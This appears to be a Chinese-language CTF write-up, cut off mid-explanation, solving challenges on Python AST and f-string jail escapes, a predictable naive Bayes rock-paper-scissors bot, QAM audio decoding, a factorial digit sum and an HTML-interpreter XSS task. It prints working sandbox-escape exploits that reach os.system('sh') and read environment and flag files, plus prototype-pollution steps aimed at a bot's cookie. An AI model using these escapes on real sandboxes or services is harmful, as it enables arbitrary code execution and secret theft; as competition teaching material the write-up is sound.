内容纲要

持续更新中…

Pyjail ! It’s myAST !!!!

题目描述

至少见一面让我当面道歉好吗?(╥﹏╥)
我也吓了一跳,没想到事情会演变成那个样子…(╥﹏╥)
所以我想好好说明一下(╥﹏╥)
我要是知道就会阻止她们的,但是明明已经被AST检测过的代码还是执行了(╥﹏╥)
没能阻止大家真是对不起…(╥﹏╥)
你在生气对吧…(╥﹏╥)
我想你生气也是当然的(╥﹏╥)
但是请你相信我。user_input,本来不会通过我们预期的is_safe函数(╥﹏╥)
真的很对不起(╥﹏╥)
我答应你再也不会放人选手执行任意代码了(╥﹏╥)
我会让保证没有代码可以绕过我的AST过滤(╥﹏╥)
能不能稍微谈一谈?(╥﹏╥)
我真的把python AST的一切看得非常重要(╥﹏╥)
所以说,当代码被bypass的时候我和你一样难过(╥﹏╥)
我希望你能明白我的心情(╥﹏╥)
拜托了。我哪里都会去的(╥﹏╥)
我也会好好跟你说明我这么做的理由(╥﹏╥)
我想如果你能见我一面,你就一定能明白的(╥﹏╥)
我是你的同伴(╥﹏╥)
我好想见你(╥﹏╥)​
(neta from hackergame2023)
挽留无果后,现在is_safe函数变得更加困难.你能通过层层检查拿到flag吗?

题目

➜  ~ nc 8.147.133.154 38570

  _____        _       _ _   _   _____ _   _                                 _____ _______   _ _ _ _
 |  __ \      (_)     (_) | | | |_   _| | ( )                         /\    / ____|__   __| | | | | |
 | |__) |   _  _  __ _ _| | | |   | | | |_|/ ___   _ __ ___  _   _   /  \  | (___    | |    | | | | |
 |  ___/ | | || |/ _` | | | | |   | | | __| / __| | '_ ` _ \| | | | / /\ \  \___ \   | |    | | | | |
 | |   | |_| || | (_| | | | |_|  _| |_| |_  \__ \ | | | | | | |_| |/ ____ \ ____) |  | |    |_|_|_|_|
 |_|    \__, || |\__,_|_|_| (_) |_____|\__| |___/ |_| |_| |_|\__, /_/    \_\_____/   |_|    (_|_|_|_)
         __/ |/ |                                             __/ |
        |___/__/                                             |___/

| Options:
|       [G]et Challenge Source Code
|       [E]nter into Challenge
|       [Q]uit

题目代码

import ast

BAD_ATS = {
  ast.Attribute,
  ast.Subscript,
  ast.comprehension,
  ast.Delete,
  ast.Try,
  ast.For,
  ast.ExceptHandler,
  ast.With,
  ast.Import,
  ast.ImportFrom,
  ast.Assign,
  ast.AnnAssign,
  ast.Constant,
  ast.ClassDef,
  ast.AsyncFunctionDef,
}

BUILTINS = {
    "bool": bool,
    "set": set,
    "tuple": tuple,
    "round": round,
    "map": map,
    "len": len,
    "bytes": bytes,
    "dict": dict,
    "str": str,
    "all": all,
    "range": range,
    "enumerate": enumerate,
    "int": int,
    "zip": zip,
    "filter": filter,
    "list": list,
    "max": max,
    "float": float,
    "divmod": divmod,
    "unicode": str,
    "min": min,
    "range": range,
    "sum": sum,
    "abs": abs,
    "sorted": sorted,
    "repr": repr,
    "object": object,
    "isinstance": isinstance
}

def is_safe(code):
  if type(code) is str and "__" in code:
    return False

  for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
    if type(x) in BAD_ATS:
      return False

  return True

if __name__ == "__main__":
  user_input = ""
  while True:
    line = input()
    if line == "":
      break
    user_input += line
    user_input += "\n"

  if is_safe(user_input) and len(user_input) < 1800:
    exec(user_input, {"__builtins__": BUILTINS}, {})

目前思路

  ast.Attribute, #属性操作 obj.xxx
  ast.Subscript, #切片操作 obj[xxx]

  ast.comprehension, # 列表生成式
  ast.Delete,
  ast.Try,
  ast.For,
  ast.ExceptHandler,
  ast.With,
  ast.Import,
  ast.ImportFrom,

  ast.Assign,    #赋值
  ast.AnnAssign, #带注释的赋值
  # 用函数定义传参绕过

  ast.Constant, #常量
  # 用类型转换绕过+运算符绕过

  ast.ClassDef, #类定义
  ast.AsyncFunctionDef, # 异步函数定义
  # 可以定义函数
  # 可以定义lambda

AST绕过参考

绕过AST解析的python沙箱逃逸方法 – TonyCrane’s Blog

TokyoWesterns CTF 4th 2018 Writeup — Part 5 | by Abdelkader Belcaid | InfoSec Write-ups (hosteagle.club)

CTF Pyjail 沙箱逃逸绕过合集 – 先知社区 (aliyun.com)

ast — Abstract Syntax Trees — Python 3.12.1 documentation

test demo

def x(a):
  return f"{all}",a,str(a),int(a==a)
assert []==(), [x([]),__builtins__,[a:=str([]) if []==[]else[]],str(repr(x))]

赛后复现

结束后问了出题人,属性操作使用match case语句去绕过

平时很少用match case,对该语句的理解仅停留在C99的层面,通过查阅python文档发现python的match case语句存在比较多的语法糖,功能强大且复杂,这里仅对解题用到的部分作简单介绍

一般的match case:

def test_match_case(a):
  match a:
    case 1:print("a=1")
    case 2:print("a=2")
    case _:print("a=other")
test_match_case(1) # a=1
test_match_case(3) # a=other

python里可以在case语句中使用变量来接收match的值,比如

def test_match_case_2(a):
  match a:
    case 1:print("a=1")
    case 2:print("a=2")
    case b:print(f"a={b}")
test_match_case_2(1) # a=1
test_match_case_2(3) # a=3

对于复杂的match对象也是如此,可通过该方式获取对象的子对象

def test_match_case_3(a,b):
  match a,b:
    case 1,1:print("a=1,b=1")
    case (2,2):print("a=2,b=2")
    case (3,c):print(f"a=3,b={c}")
    case (d,c):print(f"a={d},b={c}")
test_match_case_3(1,1) # a=1,b=1
test_match_case_3(2,2) # a=2,b=2
test_match_case_3(1,2) # a=1,b=2
test_match_case_3(3,("a","b")) # a=3,b=('a', 'b')

可以通过该方式获取对象的成员属性,还可以通过if语句筛选是否进入当前case语句

def test_match_case_4(a):
  match a:
    case str(b,__class__=c):print(b,c,a,a.__class__)
    case int(b,__class__=c):print(b,c,a,b.__class__)
    case object(__class__=c):print(c,a.__class__)

test_match_case_4("abc2") # abc2 <class 'str'> abc2 <class 'str'>
test_match_case_4(123) # 123 <class 'int'> 123 <class 'int'>
test_match_case_4(list) # <class 'type'> <class 'type'>
test_match_case_4([]) # <class 'list'> <class 'list'>

因此可以通过该方式使用ssti中常见的继承链,比如

list.__bases__[0].__subclasses__()[106].__init__.__globals__['__import__']('os').system('sh')

P.S. list.__bases__[0].__subclasses__()[106]<class '_frozen_importlib.ModuleSpec'> ,具体下标以题目环境为准
初步编写的exp如下

[zero:=()!=(),one:=()==(),two:=one+one,four:=two*two,eight:=four*two,sixteen:=eight*two,thirty_two:=sixteen*two,sixty_four:=thirty_two*two]
match bytes:
  case object(decode=decode):
    pass
match list:
  case object(__bases__=base,__getitem__=getitem):
    # print(base)
    match base:
      case (a,):
        # print(a)
        match a:
          case object(__subclasses__=subclass):
            match list(enumerate(subclass())):
              case b:
                # assert (),b
                match getitem(b,sixty_four+thirty_two+eight+two): # __subclasses__[106]
                  case c,d:
                    match d:
                      case object(__init__=init):
                        # print(init)
                        match init:
                          case object(__globals__=glob):
                            # print(glob)
                            match glob:
                              case dict(values=value):
                                match list(enumerate(value())):
                                  case e:
                                    # assert (),e
                                    match getitem(e,thirty_two+sixteen+four): # __globals__[52] = __import__ 具体下标依据题目环境进行变更
                                      case f,imp:
                                        match imp(decode(bytes([sixty_four+thirty_two+sixteen-one,sixty_four+thirty_two+sixteen+two+one]))):
                                          case object(system=system):
                                            system(decode(bytes([sixty_four+thirty_two+sixteen+two+one,sixty_four+thirty_two+eight])))         

精简整理后的exp:

[one:=()==(),two:=one+one,four:=two*two,eight:=four*two,sixteen:=eight*two,thirty_two:=sixteen*two,sixty_four:=thirty_two*two]
match bytes:
    case object(decode=decode):pass
match list:
    case object(__bases__=(object(__subclasses__=subclass),),__getitem__=getitem):pass
match getitem(list(subclass()),sixty_four+thirty_two+eight+two):
    case object(__init__=object(__globals__=dict(values=value))):pass
match getitem(list(value()),thirty_two+sixteen+four)(decode(bytes([sixty_four+thirty_two+sixteen-one,sixty_four+thirty_two+sixteen+two+one]))):
    case object(system=system):
        system(decode(bytes([sixty_four+thirty_two+sixteen+two+one,sixty_four+thirty_two+eight])))

Pyjail ! It’s myRevenge !!!

题目源码


  _____        _       _ _   _   _____ _   _                       ______ _____ _   _______ ______ _____    _ _
 |  __ \      (_)     (_) | | | |_   _| | ( )                     |  ____|_   _| | |__   __|  ____|  __ \  | | |
 | |__) |   _  _  __ _ _| | | |   | | | |_|/ ___   _ __ ___  _   _| |__    | | | |    | |  | |__  | |__) | | | |
 |  ___/ | | || |/ _` | | | | |   | | | __| / __| | '_ ` _ \| | | |  __|   | | | |    | |  |  __| |  _  /  | | |
 | |   | |_| || | (_| | | | |_|  _| |_| |_  \__ \ | | | | | | |_| | |     _| |_| |____| |  | |____| | \ \  |_|_|
 |_|    \__, || |\__,_|_|_| (_) |_____|\__| |___/ |_| |_| |_|\__, |_|    |_____|______|_|  |______|_|  \_\ (_|_)
         __/ |/ |                                             __/ |
        |___/__/                                             |___/

Python Version:python3.10
Source Code:

import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
    print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words_var_name_fake_in_local_real_in_remote = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp",
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words_var_name_fake_in_local_real_in_remote:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please obey the filter rules which I set!")

Can u input your code to escape > 

题解

  1. {print([(i,j) for i,j in enumerate(locals())])} 获取blacklist_words_var_name_fake_in_local_real_in_remote 及其下标

  2. {locals()[list(locals().keys())[20]].clear()}{{{"inp"+"ut"}()}} 清除黑名单

  3. {["",locals().pop("__imp"+"ort__")][0]}{{input()}} 解除对import的覆盖

  4. {["",print(__import__("os").listdir("."))][0]}{{input()}} 发现flag文件

  5. {print(open(__import__("os").listdir(".")[0],"r").read())} 读取获得flag

解释

这道题就是MyFilter的升级版,就不另外讲myfilter了

myfilter只需要 {print(open("/proc/self/environ","r").read())}

本题的关键点有三个

  1. 利用while循环执行eval的执行结果,不受64字符限制来无限执行指令,关键在于 {{{'in'+'put'}()}} eval后变成 {input()}传递给下一次eval

  2. 使用locals()[‘blacklist’].clear()清楚黑名单

  3. 使用locals().pop解除对屏蔽的方法和函数的覆盖

石头剪刀布

题目描述

好像这个预测模型有点问题?????

题目源码

# server.py
from sklearn.naive_bayes import MultinomialNB
import time
import random
from hashlib import *

# 定义决策表示
ROCK = 0
PAPER = 1
SCISSORS = 2

X_train = []
y_train = []

model = None
total_rounds = 100
player_score = 0
sequence = []

# 定义决策名称
CHOICES = {
    ROCK: "石头",
    PAPER: "剪刀",
    SCISSORS: "布"
}

def train_model(X_train, y_train):
    model = MultinomialNB()
    model.fit(X_train, y_train)
    return model

def predict_opponent_choice(model, X_pred):
    return model.predict(X_pred)

def predict(i,my_choice):

    global  sequence
    model = None
    if i < 5:
        opponent_choice = [random.randint(0, 2)]
    else:
        print(X_train,y_train)
        model = train_model(X_train, y_train)
        opponent_choice = predict_opponent_choice(model, [sequence])
    X_train.append(sequence[-5:])
    sequence.append(my_choice)

    y_train.append(my_choice)
# ...Constructing a training set...#

    return opponent_choice

def play_game(flag):
    global player_score
    for i in range(total_rounds):

        start_time = time.time()
        my_choice = None
        opponent_choice = [random.randint(0, 2)]

        my_choice = int(input("请出拳(0 - 石头,1 - 剪刀,2 - 布):"))

        end_time = time.time()
        if end_time - start_time > 5:
            print("超时!!!")
            break
        if my_choice not in {0, 1, 2}:
            print("错误的输入")
            break

        opponent_choice = predict(i,my_choice)

        landa = (opponent_choice[0] - 1) % 3
        print("你的出拳:", CHOICES[my_choice])
        print(f"Me10n出拳:{CHOICES[landa]}")

        if (my_choice + 1) % 3 == landa:
            print("你赢了!")

            player_score += 3
        elif (landa + 1) % 3 == my_choice:
            print("Me10n赢了!")
            player_score += 0
        else:
            print("平局!")

            player_score += 1
        print("你的分数:", player_score)
        print("-----------------------------------")

        if player_score >= 260:
            print("你获得了flag:"+flag+"")
            break

    print("游戏结束")
    print("你的分数:", player_score)

print("++++++++++++++++++++++++++++++++++++++++++++++++++")
print("Landa和他的好兄弟Me10n很喜欢玩石头剪刀布,但是他老是输给Me10n。于是他写了个程序来帮他出拳,你来挑战一下吧!")
print("平局得1分,赢得3分,输得0分。100局中如果你能得到260分就送你一个flag作为奖励吧!注意出拳要快!")
print("++++++++++++++++++++++++++++++++++++++++++++++++++")

with open('flag' , 'r' ) as f:
    flag = f.read()

# play_game(flag)

题解

from pwn import *
from server import predict,CHOICES,X_train,sequence,y_train
context.log_level='debug'
io=remote("8.147.135.177",13255)
for i in range(100):
    print("rand",i)
    io.recvuntil("请出拳(0 - 石头,1 - 剪刀,2 - 布):".encode("utf-8"))

    opponent_choice = predict(i)
    landa = (opponent_choice[0] - 1) % 3

    print(f"预测出拳:{CHOICES[landa]}")
    my_choice= (landa - 1) %3

    io.send(f"{my_choice}\n".encode("utf-8"))
    print("你的出拳:", CHOICES[my_choice])
    io.recvuntil("Me10n出拳:".encode("utf-8"))
    res=io.recv(6)

    print("Me10n出拳:",res.split(b"\n")[0].decode("utf-8"))
    if len(sequence)>=4:
        X_train.append(sequence[-4:])
        y_train.append(my_choice)
    sequence.append(my_choice)

解释

查了一下MultinomialNB就是朴素贝叶斯,根据你之前出招的概率来预测你的下一次出拳

一般训练数据为a*b的矩阵X和b个元素的向量Y,X为b组输入,每组a个元素,Y为对应的b组输出,训练完后向模型输入a个元素来预测对应的输出

提供的题目源码有一行注释表示在每轮预测后会构建训练数据集,并且该函数接受的user_input并没有被使用,所以应该就是用在注释处被删掉的构建训练数据集的代码里的

只要能补齐删掉的代码,我们就能在本地跑一个和服务器端逻辑完全相同的AI,同样的输入必然获得相同的输出,于是就能提前知道服务器的出招。

题目源码中从第六轮开始训练模型,所以猜测第六轮的时候输入了前5轮的数据进行了训练,因此猜测矩阵X的a=5,但是经过验证和服务端逻辑不符,然后猜测a=3,依旧不符,最后猜测a=4,发现预测结果和服务器出招完全一致。

Wabby Wabbo Radio

题目内容:

歪比八卜

题解

访问后是一个web页面,通过查看源代码,访问/play,获取到其中wav的路径static/audios/hint1.wav,多次访问获取到不同的wav文件,flag.wav;xh1-xh5.wav;hint1.wav,hint2.wav

下载音频文件用AU打开后发现是莫尔斯电码

file

各个WAV解码如下:

hint:DO YOU KNOW QAM? MAY BE FLAG IS PNG PICTURE
xh1: THE WEATHER IS REALLY NICE TODAY.IT'SAGREATDAY TO LISTEN TO THEW ABBYWABBO RADIO
xh2: GENSHIN IMPACT STARTS
xh3: DOYOUWANTAFLAG?LET'SLISTENALITTLELONGER
xh4: DOYOUWANTAHINT?LET'SLISTENALITTLELONGER
xh5: IFYOUDON'TKNOWHOWTODOIT,YOUCANGO AHEAD AND DOSOMETHING ELSE FIRST

根据hint是QAM编码,并且已知解码后为图片

Audition查看flag.wav是32位浮点,以为是32位QAM,但是将音频用python读取为数组后发现坐标只有16种,所以应该是16位QAM

从网上找的QAM解码脚本,来自16QAM调制和解调 python_mob649e8162842c的技术博客_51CTO博客

但是解出来为乱码,发现星座图坐标和二进制值的对应关系不是固定的,打印音频读取的数组前几个元素如下,

[1, -3]
[1, -1]
[-1, -1]
[-3, -3]
[-1, -3]
[3, 1]
[-1, -3]
[-1, 3]

16位QAM的一个坐标表示一个4位二进制数,所以如果是JPG文件的话,JPG文件头第一个字节为0xFF,前两个坐标应该是一样的,这里不一样所以不是,故猜测应该为PNG、bmp等。
猜测为png的话,前8个坐标应该对应其前4个字节0x89504E47(‰PNG),从而推测16QAM星座图如下

     ↑
 3 7 | b f
 2 6 | a e
-----+------>
 1 5 | 9 d
 0 4 | 8 c

完整解码脚本如下

import numpy as np
import scipy.io.wavfile as wav

# 星座图
constellation = {
    0: (-3, -3),#
    1: (-3, -1),#
    2: (-3, 1),
    3: (-3,3),
    4: (-1, -3),#
    5: (-1, -1),#
    6: (-1, 1),
    7: (-1, 3),#v
    8: (1,-3),#
    9: (1, -1),#
    10: (1, 1),
    11: (1, 3),
    12: (3, -3),
    13: (3, -1),
    14: (3, 1),#v
    15: (3, 3)
}

# 16QAM解调
def qam16_demodulation(symbols):
    hexi=bytearray()
    bits = 0
    i=0
    for symbol in symbols:
        index = min(constellation, key=lambda x: np.abs(constellation[x][0] - symbol[0]) + np.abs(constellation[x][1] - symbol[1]))
        # print(index,format(index, '04b'))
        bits <<=4
        bits+=index
        i+=1
        if i==2:
            i=0
            # print(bits)
            hexi.append(bits)
            bits=0
    return hexi

rt, wavsignal = wav.read('flag.wav')
print("sampling rate = {} Hz, length = {} samples, channels = {}, dtype = {}".format(rt, *wavsignal.shape, wavsignal.dtype))
print(wavsignal)
i=0
symbols=[[round(a),round(b)] for a,b in wavsignal]
for i in range(8):
    print(symbols[i])
decoded_bits = qam16_demodulation(symbols)

print(decoded_bits)
open("1.png","wb").write(decoded_bits)

SpeedUp

题目

计算 $$(2^{27})!$$ 的各位数字之和

题解

  1. 有个网站已经打完表了 https://oeis.org/search?q=1%2C2%2C6%2C9%2C63&language=english&go=Search
  2. GMP大数库二分递归 复杂度o(logN),比赛时用的是循环求阶乘,O(N)的复杂度已经裂开了

html

题目源码

本题主要逻辑就两个文件front/src/html.jsbot/index.ts,此外还有个front/src/index.ts负责载入和缓存payload,front/index.html是题目页面的源码

html.js

(() => {
    const htmlRef = /html:([^(]*).*\(\)/;

    const global = {};

    const isBlacklisted = Array.prototype.includes.bind(["__proto__", "prototype", "constructor"]);

    const commands = {
        // ===============================
        // Literals
        // ===============================
        // Maybe it's too dangerous, begin by making calculations
        // "s": function (elt, env) {  // push string onto stack
        //     env.stack.push(elt.innerText);
        // },
        "data": function (elt, env) {  // push number onto stack
            env.stack.push(Number.parseFloat(elt.innerText));
        },
        "ol": function (elt, env) {  // create list
            let children = elt.children;
            let initialLength = env.stack.length;
            let result = [];
            for (const child of children) {
                exec(child.firstElementChild, child, env);
                result.push(env.stack.pop());
                env.stack.length = initialLength;
            }
            env.stack.push(result);
        },
        // ===============================
        // Math Commands
        // ===============================
        "dd": function (elt, env) {  // add two numbers on top of stack
            let top = env.stack.pop();
            let next = env.stack.pop();
            if (typeof top !== "number" || typeof next !== "number") {
                console.error("Cannot add ", top, " and ", next);
                return null;
            }
            env.stack.push(next + top);
        },
        "sub": function (elt, env) {  // sub two numbers on top of stack
            let top = env.stack.pop();
            let next = env.stack.pop();
            if (typeof top !== "number" || typeof next !== "number") {
                console.error("Cannot subtract ", top, " and ", next);
                return null;
            }
            env.stack.push(next - top);
        },
        "ul": function (elt, env) {  // multiply two numbers on top of stack
            let top = env.stack.pop();
            let next = env.stack.pop();
            if (typeof top !== "number" || typeof next !== "number") {
                console.error("Cannot multiply ", top, " and ", next);
                return null;
            }
            env.stack.push(next * top);
        },
        "div": function (elt, env) {  // divide two numbers on top of stack
            let top = env.stack.pop();
            let next = env.stack.pop();
            if (typeof top !== "number" || typeof next !== "number") {
                console.error("Cannot divide ", top, " and ", next);
                return null;
            }
            env.stack.push(next / top);
        },
        // ===============================
        // Stack Manipulation Commands
        // ===============================
        "dt": function (elt, env) {  // duplicate top of stack
            env.stack.push(env.stack.at(-1));
        },
        "del": function (elt, env) {  // deletes the top of stack
            env.stack.pop();
        },
        // ===============================
        // Comparison Commands
        // ===============================
        "big": function (elt, env) { // next > top
            let top = env.stack.pop();
            let next = env.stack.pop();
            env.stack.push(next > top);
        },
        "small": function (elt, env) { // next < top
            let top = env.stack.pop();
            let next = env.stack.pop();
            env.stack.push(next < top);
        },
        "em": function (elt, env) { // equal, mostly
            let top = env.stack.pop();
            let next = env.stack.pop();
            env.stack.push(next == top);
        },
        // ===============================
        // Logical Operators
        // ===============================
        "b": function (elt, env) { // logical and
            let top = env.stack.pop();
            let next = env.stack.pop();
            env.stack.push(top && next);
        },
        "bdi": function (elt, env) { // logical not (invert)
            let top = env.stack.pop();
            env.stack.push(!top);
        },
        "bdo": function (elt, env) { // logical or
            let top = env.stack.pop();
            let next = env.stack.pop();
            env.stack.push(next || top);
        },
        // ===============================
        // Control Flow
        // ===============================
        "i": function (elt, env) {      // conditionally execute child instructions if true is on the top of the stack
            let topOfStack = env.stack.pop();
            if (topOfStack) {
                return elt.firstElementChild;
            }
        },
        "rt": function() { // return by returning null
            return null;
        },
        "a": function (elt, env) {          // either jump or invoke a function
            let href = elt.getAttribute("href");
            let regexMatch = htmlRef.exec(href);
            if (regexMatch) {

                let functionName = regexMatch.at(1);

                // collect args
                let args = [];
                if (elt.firstElementChild) {
                    let initialLength = env.stack.length;
                    exec(elt.firstElementChild, elt, env);
                    let finalLength = env.stack.length;
                    args = env.stack.slice(initialLength, finalLength);
                    env.stack.length = initialLength;
                }

                if (!functionName in env.scope.functions) {
                    console.error("Cannot invoke ", functionName);
                    return null;
                }
                let result = null;
                result = env.scope.functions[functionName](...args);

                if (typeof result != "undefined") {
                    env.stack.push(result);
                }
            } else {
                return document.getElementById(href.substring(1));
            }
        },
        // ===============================
        // Variables
        // ===============================
        "var": function (elt, env) {
            let topOfStack = env.stack.pop();
            let variableName = elt.innerText;
            if (isBlacklisted(variableName)) {
                console.error("Cannot store ", variableName);
                return null;
            }
            env.scope[variableName] = topOfStack;
        },
        "label": function (elt, env) { // stores a variable in the global scope
            let topOfStack = env.stack.pop();
            let variableName = elt.innerText;
            if (isBlacklisted(variableName)) {
                console.error("Cannot store ", variableName);
                return null;
            }
            global[variableName] = topOfStack;
        },
        "cite": function (elt, env) { // loads a variable
            let variableName = elt.innerText;
            if (isBlacklisted(variableName)) {
                console.error("Cannot load ", variableName);
                return null;
            }
            env.stack.push(env.scope[variableName] || global[variableName]);
        },
        // ===============================
        // I/O
        // ===============================
        "input": function (elt, env) {  // get input from user
            let value = prompt(elt.getAttribute('placeholder'));
            env.stack.push(value = Number.parseFloat(value));
        },
        "output": function (elt, env) { // outputs to standard out
            let top = env.stack.at(-1);
            env.scope.functions.out(top);
        },
        "dl": function (elt, env) { // debug output
            env.scope.functions.out(elt.innerText, "stack:", env.stack, "vars:", env.scope)
        },
        // ===============================
        // Arrays
        // ===============================
        "address" : function (elt, env) { // read an offset into an array on the top element on the stack
            let index = env.stack.pop();
            let array = env.stack.pop();
            if (!Array.isArray(array) || !array.hasOwnProperty(index) || isBlacklisted(index)) {
                console.error(`Cannot read ${index} from ${array}`);
                return null;
            }
            env.stack.push(array[index]);
        },
        "ins" : function (elt, env) { // insert the top of the stack into the array third from the top at index second
            let val = env.stack.pop();
            let array = env.stack.pop();
            array.push(val);
        },
        "fieldset" : function (elt, env) { // set a value in an array to the top of the stack
            let val = env.stack.pop();
            let index = env.stack.pop();
            let array = env.stack.pop();
            if (isBlacklisted(index)) {
                console.error("Cannot set ", index);
                return null;
            }
            array[index] = val;
        },
        // ===============================
        // Functions
        // ===============================
        "dfn": function (elt, env) {},
        // ===============================
        // Programs
        // ===============================
        "main": function (elt, env) {
            return elt.firstElementChild;
        },
        "body": function (elt, env) {
            return elt.firstElementChild;
        },
    };

    function nextEltToExec(elt) {
        if (elt == null || elt.matches("body, main")) {
            return null;
        } else if (elt.nextElementSibling) {
            return elt.nextElementSibling;
        } else {
            return nextEltToExec(elt.parentElement);
        }
    }

    function defineFunctions(sourceOrElt, env) {
        let definitions = sourceOrElt.querySelectorAll(':scope > dfn');
        for (const definition of definitions) {
            if (definition.parentElement.tagName !== "MAIN") {
                console.error("Function defined at ", definition, " does not have a parent MAIN element, instead found ", definition.parentElement);
                continue;
            }
            const funcName = definition.id;
            env.scope.functions[funcName] = function () {
                var args = Array.from(arguments);
                let env = makeEnv();
                env.stack.push(...args);
                if (definition.firstElementChild) {
                    exec(definition.firstElementChild, definition, env);
                }
                let val = env.stack.pop();
                return val;
            };
        }
    }

    function makeEnv() {
        const env = {
            stack: [],
            scope: { // start with standard variables for common values
                true:true,
                false:false,
                null:null,
                functions: {
                    out: (...args) => alert(...args),
                },
            },
        };
        return env;
    }

    function exec(sourceOrElt, root, env) {
        if (sourceOrElt == null) {
            console.error("No html source detected")
            return;
        }
        // set the root element if necessary
        root ||= sourceOrElt;
        // create an environment if necessary
        env ||= makeEnv();
        // set the current element to execute
        let eltToExec = sourceOrElt;
        // define all functions within the element
        defineFunctions(eltToExec, env);
        do {
            // resolve command for the current element
            const tagName = eltToExec.tagName.toLowerCase();
            if (!commands.hasOwnProperty(tagName)) {
                console.error(`Could not find command definition for "${tagName}"`);
                break;
            }
            let commandForElt = commands[tagName];
            // invoke command and get next element
            var next = commandForElt(eltToExec, env);
            if (next === undefined) {
                eltToExec = nextEltToExec(eltToExec);
            } else {
                eltToExec = next;
            }
            // if the next element is outside the root, we are done
            if (!root.contains(eltToExec)){
                return;
            }
        } while (eltToExec)
    }

    document.querySelector("#run").addEventListener("click", function () {
        exec(new DOMParser().parseFromString(atob(location.hash.slice(1)), "text/html").querySelector('main'));
    });

    document.querySelector("#report").addEventListener("click", function () {
        fetch('/api/report', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                program: location.hash.slice(1),
            }),
        }).then(res => res.json()).then(res => {
            if (!res.success) {
                alert("Excution failed");
            } else {
                alert(res.result);
            }
        });
    });
})();

bot/index.ts

import puppeteer, { Browser, Dialog, Page } from "puppeteer";
import express from "express";

const FLAG = process.env.FLAG || "flag{FAKE_FLAG}";

const app = express();

app.use(express.static("public"));
app.use(express.json());
let browser: Browser;

async function initBrowser() {
  browser = await puppeteer.launch({
    headless: true,
    args: ["--disable-gpu", "--no-sandbox"],
    executablePath: "/usr/bin/chromium-browser",
  });
}
async function testProgram(page: Page, base64Program: string) {
  const msgs: string[] = [];
  page.setCookie({
    name: "FLAG",
    value: FLAG,
    domain: "127.0.0.1",
  });
  await page.goto(`http://127.0.0.1:3000/#${base64Program}`, {
    waitUntil: "load",
  });

  page.on("dialog", (dialog: Dialog) => {
    msgs.push(dialog.message());

    dialog.dismiss().catch(() => {});
  });

  page
    .evaluate(() => {
      document.querySelector<HTMLElement>("#run")!.click();
    })
    .catch(() => {});
  await page.waitForTimeout(10000);
  const output = msgs.join("\n");
  if (output) return `Nice program! Here is the output:\n\n${output}`;
  else return "WTF is going on? no output";
}

app.post("/api/report", async (req, res) => {
  const program = `${req.body.program}`;

  const ctx = await browser.createIncognitoBrowserContext();
  const page = await ctx.newPage();
  try {
    const result = await testProgram(page, program);
    return res.send({ success: true, result });
  } catch (e) {
    console.error(e);
    return res.send({ success: false });
  } finally {
    page.close();
  }
});

app.listen(3000, async () => {
  await initBrowser();
  console.log("Bot ready, listening on port 3000");
});

front/src/index.ts

import { createEditor } from "./editor";

function save(code: string) {
  const hash = window.btoa(code);
  location.hash = hash;
}

function load() {
  return (
    window.atob(location.hash.slice(1)) || `<main id="main">\n    \n</main>`
  );
}

async function main() {
  const container = document.getElementById("editor");
  if (!container) return;
  const code = load();
  save(code);

  const { onChange } = await createEditor(container, code);

  onChange((code) => {
    save(code);
  });
}

window.addEventListener("DOMContentLoaded", main);

index.html

{{>header}}
<div id="editor"></div>
<div id="actions">
  <button id="report">🙋 Report</button>
  <button id="run">▶️ Run</button>
</div>
<script type="module" src="./src/html.js"></script>
<script type="module" src="./src/index.ts"></script>
{{>footer}}

理解题目

打开题目是一个文本编辑器加上运行和报告两个按钮,文本编辑器中有html代码

查看front/index.html可知题目页面的逻辑主要由front/src/index.tsfront/src/html.js实现

front/src/index.ts可以看到页面打开时会将location.hash.slice(1)进行base64解码后放入文本编辑器中,文本编辑器会在内容变更的时候将更新后的内容base64编码后存入location.hash。该文件和解题关系不大

front/src/html.js实现点击运行按钮时将文本编辑器中的代码交由exec函数运行,点击提交按钮时将文本编辑器中的代码base64编码后提交到3000端口的bot

bot/index.ts中可以看到 bot 会将flag存入cookie并在题目页面运行我们提交的代码,因此我们需要构造能够在题目页面获取cookie的代码

为此,我们需要去理解exec是如何运行文本编辑器中的代码的,作者提供了大量注释,通过注释显而易见这是使用javascript实现了一个特殊的html解释器,实现了基本算术运算、栈操作、符号表和函数等功能。

其中让尤其让人引起注意的是出题人设置了黑名单

const isBlacklisted = Array.prototype.includes.bind(["__proto__", "prototype", "constructor"]);

并且在多个位置使用该黑名单限制了对js对象的成员属性的操作,例如

if (isBlacklisted(variableName)) {
    console.error("Cannot store ", variableName);
    return null;
}
env.scope[variableName] = topOfStack;

这就让人有种此地无银三百两的感觉,这显然是在防止原型链污染,因此这题估计就是在考如何绕过限制,通过原型链污染XSS注入获取cookie

原型链和原型链污染

这里补充js原型链的小知识

然后再来看本题用到的原型链污染小trick

[].constructor == [].__proto__.constructor
// true
(()=>{}).__proto__ == Function.prototype
// true
Function.prototype.constructor == Function
// true
(()=>{}).constructor==Function
// true
a={}
// {}
a.__proto__=()=>{}
// ()=>{}
a.constructor == Function
// true
Function('return 1+1')()
// 2
a['constructor']('return 1+1')()
